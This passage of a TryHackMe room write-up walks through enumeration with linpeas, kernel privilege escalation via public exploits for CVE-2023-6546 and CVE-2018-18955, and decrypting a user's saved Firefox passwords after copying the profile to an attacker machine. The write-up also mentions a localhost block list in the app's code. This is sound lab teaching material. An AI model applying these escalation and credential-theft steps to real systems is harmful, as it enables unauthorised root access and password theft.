<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FKZnB5Kc9BYeSLXOTNE43%2Fimage.png?alt=media&#x26;token=7b1fdbe8-0787-4a08-9ff6-ea6c903ad7d3" alt=""><figcaption></figcaption></figure>

We indeed get in.&#x20;

In the home directory, we don't see the **`user flag`**.&#x20;

**`Finding the flag`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fk6Drnpkr3P0tcyHTBTJ7%2Fimage.png?alt=media&#x26;token=90b43efb-a737-40ed-a2d7-46746358a879" alt="" width="471"><figcaption></figcaption></figure></div>

There is also an **`app.py`** and here we can see the lines of code that were **`blocklisting`** common ways **`localhost`** could be accessed via:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FPpASIJW2TEG5qHA6kKQF%2Fimage.png?alt=media&#x26;token=1697c780-1e3f-468c-9935-99dc57d0eaa9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fn9XmMaNYR7ZTHLMHoTMq%2Fimage.png?alt=media&#x26;token=f12ec6aa-90cc-44aa-9b74-81a0e632ca91" alt=""><figcaption></figcaption></figure>

So using: **`localhost`**, **`127.0.0.1`** & **`0.0.0.0`** were **`blocked`**.

### Further Enumeration

No significant findings were discovered during the manual traversal of various directories and files. So we can now run **`linpeas`**.&#x20;

It can be placed in the **`/tmp`** directory as it is universally writeable:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fw4hRW6K8oyRXyjEgRobm%2Fimage.png?alt=media&#x26;token=2ff360bf-2f3d-489a-9494-5a234678da67" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FTSphXckcthX88rnkPBe8%2Fimage.png?alt=media&#x26;token=0b8f75ba-44c3-4a9d-995d-ff5bc190a04d" alt=""><figcaption></figcaption></figure>

**`Important information from the output`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDtAZGjr5rVwvyJU9O6Mp%2Fimage.png?alt=media&#x26;token=c9c6bfb7-cd14-41c0-86b6-5afadec5c8d9" alt=""><figcaption></figcaption></figure>

Kernel **`version`** being **`4.15.0-112-generic`**.

**`Linux exploit suggester`** suggested exploits can also be checked out, this can come in handy as we couldn't find anything else on the machine that would potentially help us **`privilege escalate`**. So **`kernel exploits`** might be the way to **`root`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FEEIGabVkqxoS3mRLvd6Y%2Fimage.png?alt=media&#x26;token=0abd1b80-ccf5-4230-8840-471d62274c6e" alt=""><figcaption></figcaption></figure>

At this point, we can start by looking for **`exploits`** based on the exact **`kernel version`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F85tvhh82PpUE18NSmEa3%2Fimage.png?alt=media&#x26;token=f60d1e7c-d01a-4a23-be41-2d1766e31969" alt=""><figcaption></figcaption></figure>

We have **`two`** results from **`Exploit-DB`**. The first result is for **`CVE-2018-18955`**. **`Linpeas`** too had suggested the same exploit and also the **`affected kernel version`** starting range is a close match to what we are having on our **`target machine`**. So this is something worth trying out. The result below is for **`CVE-2019-13272`** and it says affected versions start from **`4.10`** and our version fits well within the range. This can be tried out too.

The final result shows a **`GitHub`** exploit, **`CVE-2023-6546`**, which too is an **`LPE`** exploit.&#x20;

{% embed url="<https://github.com/Nassim-Asrir/ZDI-24-020>" %}
CVE-2023-6546
{% endembed %}

Following are the **`two`** main reasons this exploit might end up working:

**`First reason`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FnsFJWXBPRhaSlC6X8UAg%2Fimage.png?alt=media&#x26;token=1f0f74e8-c3f6-4dc7-b5a5-37b0b1b08398" alt=""><figcaption></figcaption></figure>

This is a close match with our **`OS`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIpTN0HXjeV8z0Ob8odQ6%2Fimage.png?alt=media&#x26;token=c5036f6d-96ee-4959-af42-a5cd9e113bd6" alt=""><figcaption></figcaption></figure></div>

The same can also be seen in the **`linpeas`** output.

**`Second reason`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F66IviqO2S7NTTSDjiOvy%2Fimage.png?alt=media&#x26;token=85aa6f6e-9b1a-4d51-9fc5-79cff0bef530" alt=""><figcaption></figcaption></figure>

It is the same **`Kernel`** for us too.

### Privilege Escalation

**`Trying out CVE-2023-6546`**:

**`Command`**:

```bash
git clone https://github.com/Nassim-Asrir/ZDI-24-020 && cd ZDI-24-020
```

Editing the **`Makefile`** from this:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwqxOitARzFMBNFgA88xP%2Fimage.png?alt=media&#x26;token=ce47ca51-76c7-4785-9818-e273b7f32cc3" alt=""><figcaption></figcaption></figure></div>

To this (**`adding the -static switch`**):

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fs2411xueqXBIFSsVHs23%2Fimage.png?alt=media&#x26;token=b753fb4f-4f7a-4d11-b683-056f0e6840a0" alt=""><figcaption></figcaption></figure>

Using the **`-static`** switch when compiling with **`gcc`** creates a statically linked executable. This means that all **`necessary libraries`** (like glibc) are included **`directly within`** the executable itself, rather than relying on these **`shared libraries`** at **`runtime`** on the **`target machine`** that it would be run on. This is done to avoid any runtime errors that might occur due to the needed **`glibc version`** not being found on the target, etc.&#x20;

If it is possible to **`compile`** the **`exploit code`** on the **`target machine`**, then that would work too.

**`Compiling the exploit code via make, serving it and running it on the target machine`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FmS5c2Q3tvkvpEUlUZf4t%2Fimage.png?alt=media&#x26;token=90745127-f01e-4f35-991b-8670cf1a2016" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FboHBFbim1gMatUd1vV11%2Fimage.png?alt=media&#x26;token=a637d23f-59fe-4c0c-8272-83d583fac995" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F6vm7xiM2Le8L3cQb8nby%2Fimage.png?alt=media&#x26;token=7e0ee02e-a1d4-4cc1-a3e5-5ed97b8c7c7b" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F1tTE2PiqK8HNcZzV5nWS%2Fimage.png?alt=media&#x26;token=1aa04e09-b805-4492-94a5-32f44199746b" alt=""><figcaption></figcaption></figure></div>

We run the exploit using the **`ubuntu`** argument and we are **`root`**.

I had further checked out **`CVE-2019-13272`** but found that the **`kernel`** we have was **`not tested`** for this **`vulnerability`**. Nevertheless, I attempted to exploit it, but unfortunately, it **`did not`** work.

Now finally moving on to **`CVE-2018-18955`**:

{% embed url="<https://github.com/bcoles/kernel-exploits>" %}

After cloning the repo:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FNTR2UtakKv1lhVzTFcaB%2Fimage.png?alt=media&#x26;token=b606095c-feea-4175-bae9-2176a881d417" alt=""><figcaption></figcaption></figure>

We can send the entire directory to the **`target machine`** like so:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FtNtRhUPgU4alzJ6laaQv%2Fimage.png?alt=media&#x26;token=716c09c8-2de9-441d-9694-b13507e0f149" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FpdZoclSlxEYIvxrAOrgu%2Fimage.png?alt=media&#x26;token=c123b7e6-8ba0-4861-952a-0748f524cabb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fm3JK6XB56NohxnfKl3hi%2Fimage.png?alt=media&#x26;token=98c78b8c-f78f-4718-af3b-f1036f4eab41" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FLCUDPZP5QsGSVlT9nEjx%2Fimage.png?alt=media&#x26;token=86b19572-88e6-4051-a40a-a0a888710087" alt=""><figcaption></figcaption></figure>

Out of the above-marked exploit scripts only the **`exploit.dbus.sh`** worked. Showing the same:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FEociQjUNGoyRVd2aBT8u%2Fimage.png?alt=media&#x26;token=af2f3444-21e9-48de-87e0-94457f689d9b" alt=""><figcaption></figcaption></figure></div>

The reason why the **`dbus`** script worked is due to the **`SUID`** bit set on **`dbus-daemon-launch-helper`**. By default, this binary will have the bit set as part of the **`dbus`** package.

**`Command`**:

```bash
find / -perm -u=s -type f 2>/dev/null   //To find binaries that have the SUID bit set
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FBmbIVs5S5CdONIDY2KIP%2Fimage%20(26).png?alt=media&#x26;token=6d576033-3117-4e6a-8496-ba4642d134e2" alt=""><figcaption></figcaption></figure>

The **`root flag`** can be fetched from the **`/root`** directory:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F50vMFEudOyp9EhOEt7jx%2Fimage.png?alt=media&#x26;token=f1343387-2ea3-4e40-88e7-5ea6d5f2a3e8" alt=""><figcaption></figcaption></figure>

Now for this **`question`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwweKYzCrTJbJ1otN8q5b%2Fimage.png?alt=media&#x26;token=1eebd39c-c13a-4ba7-9de6-950b60249fbe" alt=""><figcaption></figcaption></figure></div>

There is no direct way we could laterally move from **`beth`** to **`charles`** on this machine, so we had to get to **`root`** first.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCAYw6lTbV4oRBAPGqDCr%2Fimage.png?alt=media&#x26;token=f8b3c073-f668-4e22-8cd9-243ff9f232dc" alt=""><figcaption></figcaption></figure>

We see a **`.mozilla`** directory.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F6wGxYyC1iUUO3CdYugLA%2Fimage.png?alt=media&#x26;token=5b098a70-3571-4152-9220-89e4aa7cd5a5" alt=""><figcaption></figcaption></figure>

And there is a **`Firefox profile`** named **`8k3bf3zp.charles`**. Such profiles will usually have **`stored encrypted credentials`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F7mPmbeQYDmD9QJ2tmwKP%2Fimage.png?alt=media&#x26;token=b6a8a3bb-27d7-48ea-91b2-eb6122299c5c" alt=""><figcaption></figcaption></figure>

We can see that the most important file, that is **`logins.json`** is present. The presence of this file indicates that we can go ahead with **`decrypting`** the **`encrypted password`**.

Both **`logins.json`** and **`key4.db`** are needed to **`decrypt`** the **`saved passwords`** in **`Firefox`**:

* **`logins.json`**: Contains the encrypted passwords and associated usernames.
* **`key4.db`**: Contains the encryption keys used to encrypt and decrypt the passwords in **`logins.json`**.

For **`decrypting`**, we can make use of this tool:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

Downloading the **`profile`** to our **`attacker machine`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F5T9qOx0E1zTcBNJfUKSx%2Fimage.png?alt=media&#x26;token=8fca5747-e74e-44bd-ab37-250fc459dd0e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FRstJsPtksTDCKyokADdk%2Fimage.png?alt=media&#x26;token=54b0b272-c3de-4b7f-8a2e-e32b8c79e784" alt=""><figcaption></figcaption></figure>

Cloning the repo and **`running`** the tool:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FlRqFEzxMykXKXuMmbBjE%2Fimage.png?alt=media&#x26;token=b2821497-acfb-4317-be41-05b909674450" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCswdbLvY66qsuebuItSc%2Fimage.png?alt=media&#x26;token=c9ddf032-8c85-4fa0-bff4-d62cd4eb34fc" alt=""><figcaption></figcaption></figure>

And we get the **`decrypted password`** for **`charles`**.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
